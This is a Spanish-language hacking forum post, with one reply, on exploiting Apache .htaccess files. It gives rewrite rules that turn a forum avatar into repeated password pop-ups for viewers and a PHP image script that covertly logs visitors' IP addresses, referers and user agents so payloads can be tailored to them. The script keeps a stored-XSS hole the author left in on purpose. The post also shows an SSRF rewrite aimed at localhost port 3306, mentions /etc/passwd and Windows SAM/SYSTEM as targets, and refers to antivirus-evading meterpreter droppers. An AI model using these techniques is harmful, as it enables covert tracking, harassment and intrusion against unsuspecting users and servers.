Explotación de archivos .htaccess

Hola a tod@s,

Éste es mi segundo post, ya que el que les iba a traer aún no lo termino  . Sin embargo, me propuse a postear algo interesante y creo que esto le servirá a muchas personas que quieren documentar/reportar/aprender sobre las explotaciones y post-explotaciones a los archivos .htaccess.

DEFINICIONES...

htaccess hace referencia a Hypertext Access. Es un archivo de configuración usado por servidores Apache. En éste archivo lo que se determinan son las reglas de cómo queremos que se comporte el servidor, indicándole los ajustes iniciales. Es usado muy común cuando deseamos proteger algún directorio en especial o incluso, no sé si han notado que muchos administradores de Joomla!, Wordpress, Drupal u otro CMS(Content Management System) los usan para que no accedan a sus paneles de administración.

---

POP-UPS CONTINUOS A LOS USUARIOS

A continuación les muestro un ejemplo de un archivo .htaccess:

### MAIN DEFAULTS ###
Options +ExecCGI -Indexes
DirectoryIndex index.html index.htm index.php
DefaultLanguage en-US
AddDefaultCharset UTF-8
ServerSignature Off

Ejemplo tomado de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Me parece muy interesante dicho ejemplo, pues noten que tiene una regla llamada ServerSignature en modo Off, ésto, con el fin de ocultar y no permitir el banner grabbing de Apache. Si no sabes qué es el banner del servidor web de Apache, es cuando en fase de reconocimiento te das cuenta de que la aplicación web que estás auditando está alojada en Apache por sus cabeceras, devolviendote algo similar a:


La técnica de los pop-ups realmente no es un peligro, sin embargo, es usado por muchos 'troles' que desean molestar los foros/sitios web y demás entornos donde se pueda subir una foto de perfil, avatar personalizado y también las famosas firmas.

En ésta técnica abusamos del mod_rewrite, cuyo fin es para designar y modificar el cómo se muestran las URL y las páginas web de tus sitios a tus usuarios. Palabras más, palabras menos, con él, podemos redireccionar. Un ejemplo  claro sería cuando tenemos:

URL: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. El mod_rewrite se encargaría de convertir esa url a:
URL: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Para un ejemplo más sustancioso, haz de cuenta que tienes dos imágenes: publica.png y protegido.png. publica.png se almacenará en un directorio público, mientras que protegido.png se almacenará en un directorio protegido con su respectiva contraseña(por algo es protegido).

Teniendo en cuenta esto, nuestro archivo .htaccess quedaría de la siguiente manera:

Options +FollowSymlinks
RewriteEngine on
RewriteRule publica.png /protected-directory/protegido.png
AuthUserFile /home/usr/.htpasswd
AuthName "authentication name"
AuthType Basic
require user mortal

Explicando a groso modo, las anteriores reglas:

• FollowSymlinks : cuando se trata de servidores web, no puedes dejar las cosas sin definir. Tienes que definir quién tiene acceso a qué. La regla de FollowSymlinks le dice a su servidor si debe o no seguir los enlaces simbólicos.
• RewriteEngine : nos permite reescribir o redireccionar una URL.
• Auth*(el asterisco indica todo lo que siga después de Auth) : apunta al archivo de contraseñas que creamos, en éste caso, el archivo se llama .htpasswd.
• require user : Requiere a un usuario válido.

¿Notaron que estamos haciendo una redirección de publica.png a protegido.png, no? sino, ya casi lo norarán.
Como lo mencione, el archivo donde almacenamos las contraseñas(llamado .htpasswd) deberá estar configurado de la siguiente manera:
username:contraseñaEncriptada


El nombre de usuario claramente tendrá que coincidir con el nombre de usuario que agregó en el archivo .htaccess. La contraseña encriptada se puede realizar mediante la función de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login sino, puedes usar generadores de contraseñas en línea.

Ahora, lo que podrías hacer es configurar como imagen de perfil/imagen de un foro o cualquier otro, la imagen publica.png. ¿Qué sucederá? cualquier persona que desee ver tu imagen le aparecerá repetidamente el aviso para incorporar el nombre de usuario y contraseña. Es un poco molesto la verdad, y ya se consideraría spam.

---

FINGERPRINTING - IP  LOGGING

Similar a la técnica número uno, ésta técnica nos ofrece poder rastrear direcciones IP sin la interacción de los usuarios. Incluso, podríamos establecer que se descargue un fichero autoejecutable con evasiones de antivirus para que tengamos una conexión meterpreter (si el autorun no está habilitado[cosa que normalmente pasa ] podemos usar el USB Rubber Ducky o el más querido, BADUSB).

El hecho es que, dejando de lado lo del payload autoejecutable, la técnica realmente consiste en recopilar todo tipo de información sin que ellos sean conscientes.

Haríamos básicamente la misma redirección, solo que a nuestro fichero de .php:

Options +FollowSymlinks
RewriteEngine on
RewriteRule publica.png /path/to/mortal.php

Quizá, te estarás preguntando, ¿y el servidor 'víctima' cómo interpretará el archivo de mortal.php si pública.png lo redirecciona?. Entendámolo mejor.

Debemos engañar al servidor para que considere que hemos incluido una imagen válida. Desde el punto de vista de los servidores, ellos estarán haciendo una solicitud a un archivo de imagen. Generalmente los servidores no incluyen la imagen en la página(y mucho menos nuestro script de PHP). Como somos magos, debemos engañar al servidor para que considere que estamos incluyendo una imagen y no nuestro script de mortal.php.

Para engañarlo, basta con que hagamos uso de la gran función de php llamada imagecreate(). Así es, vamos a usar imágenes dinámicas de PHP para que el servidor crea que estamos incluyendo publica.png en lugar de mortal.php.

He implementado un pequeño script en PHP:

<?php
/* Vamos a escribir en un archivo de html. */
$log = 'data.html';
/* Capturamos la ip de nuestra víctima. */
$remote_ip = $_SERVER['REMOTE_ADDR'];
/* Capturamos la URI actual de la página. */
$page_URI = $_SERVER['REQUEST_URI'];
/* Capturamos el referer, es decir, de dónde viene. */
$refer_where = $_SERVER['HTTP_REFERER'];
/* Día, mes, año y hora. Esto, por si deseamos tener más segmentado nuestra información */
$date_time = date('l, F d y h:i:s'); 
/* El navegador que está usando */
$agent_get = $_SERVER['HTTP_USER_AGENT'];


/* Abrimos nuestro archivo de data.html y comenzamos a insertar los datos */
$fp = fopen("data.html", "a");
	/* Se inserta la fecha, IP, la página, el referido y el user_agent. */
	fputs($fp, "<b>$date_time</b><br> 
	            <b>IP: </b>$remote_ip<br>
				<b>Page_URI: </b>$page_URI<br>
				<b>Refer: </b>$refer_where<br>
				<b>Useragent:</b>$agent_get <br>
				####################################### <br><br>");
	flock($fp, 3); /* Usamos bloqueo obligado a todo lo que contiene nuestra variable fp. */
	/* Cerramos nuestro archivo */
	fclose($fp);

/* Hacemos la magia */

/* imagecreate nos permite representar una imagen en blanco del tamaño especificado. imagecreate(ancho*alto). */
$my_img_ = imagecreate(190 ,100);
/* Rellenamos el color de fondo. */
$background = imagecolorallocate( $my_img_, 121, 0, 255);
$text_colour = imagecolorallocate( $my_img_, 200, 200, 0 );
$line_colour = imagecolorallocate( $my_img_, 212, 233, 0 );

/* Dibujamos una cadena horizontalmente. */
imagestring( $my_img_, 4, 30, 25, "For our victim...", $text_colour );
/* Grosor de nuestra linea. */
imagesetthickness ( $my_img_, 3);
/* Color de nuestra línea */
imageline( $my_img_, 30, 45, 165, 45, $line_colour );
/* Lo admitido. */
header( "Content-type: image/png" );
/* Mostramos nuestra imagen. */
imagepng( $my_img_ );
/* Y procedemos a mostrar lo demás. */
imagecolordeallocate( $line_color );
imagecolordeallocate( $text_color );
imagecolordeallocate( $background );
/* No es necesario, pero vamos, es una buena práctica por si llegase a ser muy grande la imagen. */
imagedestroy($my_img_);


/* https://www.youtube.com/VIINVIDEOSHD */
/* https://www.viinacademy.com */
/* https://underc0de.org/foro/profile/mortal_poison */
?>

Pueden testear como se ve la imagen que creamos en la siguiente URL: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Si notan, en el código existe una vulnerabilidad xD, simplemente quería hacer un poco de consciencia. La vulnerabilidad es un XSS persistente y se encuentra en el $_SERVER['HTTP_USER_AGENT']; y bueno, la verdad es que para mitigar esto, cambien el data.html a data.txt.


Si no entienden algo del código, lo dejé comentado. En resumen, lo que hace el script es: cuando se presenta la imagen en el navegador de los usuarios, éste escribirá su agente de usuario, dirección IP, el encabezado de referencia y otra información útil. Imaginen cuánto daño se podría causar, desde saber de dónde se conectan las víctimas hasta diseñar payloads para los mismos.

Para finalizar, si llegases a establecer tu imagen de perfil publica.png, la secuencia de .htaccess redirigiría a la secuencia de comandos PHP ocasionando que el servidor piense que publica.png es mortal.php y nos suministre lo que deseamos .

---

Evasión de vulnerabilidades web

htaccess tiene varios usos para la evasión de filtros con respecto a las vulnerabilidades web. Comencemos con un vector de ataque de falsificación de solicitudes de servidor(SSRF).

Server-Side Request Forgery

He diseñado un diagrama que les dará a entender cómo funciona éste ataque(para los que no lo conocen):


Si aún no logras entender el diagrama, te explicaré de una forma más sustanciosa. Para propósitos de ejemplo, supongamos que tienes la web:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

El parámetro ?url= está por método GET de HTTP, por tanto, podrías cambiar a:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Recuerda que el puerto 3306 hace referencia(usualmente) a la base de datos. Asumiendo eso, ésto permitiría a un atacante la divulgación de archivos locales a través de SSRF, permitiendo leer contenido localmente. Hay muchas protecciones contra éste tipo de ataques, pero también muchas formas de hacer Bypass.

Por supuesto, podríamos lograr incluso RCE asumiendo que existen servicios como smb, sftp, gopher, memcached, entre otros.
Nuestro htaccess quedaría de la siguiente manera:

Options +FollowSymlinks
RewriteEngine on
RewriteRule publica.png http://127.0.0.1:3306

Redireccionamos de publica.png a la base de datos del localhost con el fin de que no se nos incluya en una blacklist si llegase a existir una protección directa. A pesar de que lo redireccioné al localhost, pueden hacerlo con otros archivos importantes, como por ejemplo: /etc/passwd,C:\WINDOWS\system32\config\SAM o C:\WINDOWS\system32\config\SYSTEM.

Tendríamos que hacer la llamada a nuestra imagen desde el sitio para que nos devuelva información que hemos solicitado mediante nuestro ataque de SSRF.


Tenemos que considerar el alcance que podría repercutir tener un fichero .htaccess a disposición de un atacante. Hagamos un poco de GHDB básico.


Si observan detalladamente, NO en todas las webs aparece como: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Aparecen como:

• 1.htaccess
• a.htaccess
• _1.htaccess
• Old.htaccess
• _____.htaccess

el .htaccess varía a menudo, quizá alguno que posea un poco más de tiempo, podría crear un script que con un diccionario de ese tipo de opciones(como la anterior lista) encuentre el .htaccess de una web.

Para terminar, desearía concluir que tener conocimiento de las reglas de .htaccess en cualquier web, permitirá a un atacante saber qué restricciones de seguridad existen y cuáles no. Por lo tanto, permitirá saber qué es lo que potencialmente necesita ser evitado y aprovecharse de ello. También puede revelar información sobre las tecnologías que se ejecutan en la website(importante).

Incluyendo que si por 'x' motivo un atacante tiene acceso limitado a un servidor, es decir, tiene permisos pero no puede editar archivos ni realizar otras acciones, pero tiene la capacidad de editar el .htaccess repercutirá en un grave problema de seguridad(tan así, que hasta se puede subir una webshell).

En otro post podría poner de cómo tener más alcance con esto.

Espero que les haya gustado el post.
Cualquier duda/sugerencia/aporte pueden escribirlo por este medio.

Muchas gracias por leer.

Un saludo.

Me pueden encontrar en:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


GLOSARIO:

Banner grabbing: obtener información sobre el servidor donde reside la aplicación web, llegando al punto de relacionarse con Fingerprinting.
RCE: Ejecución de código remoto. Es una vulnerabilidad para ejecutar cualquier comando en una máquina de destino o en un proceso de destino.
Bypass: Saltarse una medida de protección.
GHDB: Google Hacking Database.

Ey , buena información para la gente que empieza en esto.
Gracias por tu aporte!